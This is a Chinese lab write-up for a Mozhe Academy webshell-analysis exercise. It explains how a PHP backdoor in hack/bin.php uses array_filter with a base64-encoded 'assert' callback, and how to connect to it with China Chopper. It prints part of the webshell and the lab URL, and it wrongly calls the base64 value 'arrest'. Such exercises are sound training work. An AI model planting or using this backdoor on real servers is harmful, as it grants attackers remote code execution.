墨者学院 - WebShell代码分析溯源(第4题)

唉让我如此信任的工具在这道题上栽了跟头。。。嗯，以后的结果仅供参考。

 

下载源代码，在hack文件夹下发现bin.php

打开分析代码得知其为php回调函数类一句话木马

且获得其密码，通过菜刀连接

菜刀连接http://219.153.49.228:42394/www/hack/bin.php?e=YXNzZXJ0
密码为POST

array_filter()函数用回调函数过滤数组中的值，传入$e的参数为YXNzZXJ0（arrest的base64加密值为YXNzZXJ0）

这样回调函数名就是assert，构成一句话木马     assert($_POST['密码'])

POST为密码

array_filter()函数，用回调函数过滤数组中的值
base64_decode()函数，对base64编码的data进行解码

 

 

<?php
    error_reporting(0);
    $e=$_REQUEST['e'];
    $arr=array($_POST['joker'],);
    a